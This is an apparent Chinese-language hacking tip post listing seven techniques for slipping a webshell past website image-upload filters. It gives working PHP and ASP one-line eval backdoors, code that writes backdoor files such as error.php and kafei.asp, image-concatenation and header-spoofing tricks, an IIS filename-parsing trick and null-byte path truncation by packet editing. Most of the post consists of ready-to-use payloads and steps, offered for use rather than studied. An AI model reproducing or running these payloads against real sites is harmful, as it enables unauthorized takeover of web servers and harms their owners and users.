一般网站图片上传功能都对文件进行过滤,防止webshell写入。但不同的程序对过滤也不一样,如何突破过滤继续上传?
本文总结了七种方法,可以突破!
1、文件头+GIF89a法。(php)//这个很好理解,直接在php马最前面写入gif89a,然后上传dama.php
2、使用edjpgcom工具向图片注入代码。(php)//edjpgcom修改,加入php一句话保存为dama.php
3、cmd命令下copy 图片.GIF+shell.php webshell.php (php) //估计和1是同样的原理,欺骗上传webshell.php
4、C32asm打开图片在文件末尾空一格加入代码<?php eval($_POST[cmd])?> 。(php)//填充php一句话然后上传。
5、在4基础上改进代码<?php fputs(fopen("error.php"."w")."<?eval($_POST[cmd]);?>")?> 。(php)//同
目录下生成error.php,提问:asp的怎么改写?
回答:asp测试的结果是:没有权限…
<%
Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
Set MyTextFile=MyFileObject.CreateTextFile("kafei.asp")
MyTextFile.WriteLine("<\%eval request(chr(35))\%>")
MyTextFile.Close
%>
6、IIS解析目录名漏洞1.php;.jpg (jpg) //这是文件名变量没有过滤。
7、nc抓包改数据 //路径名和文件名没有过滤。
//通过抓包修改上传路径通过/upload/1.asp+空格,使用软件把空格填充为00。然后nc提交获取webshell。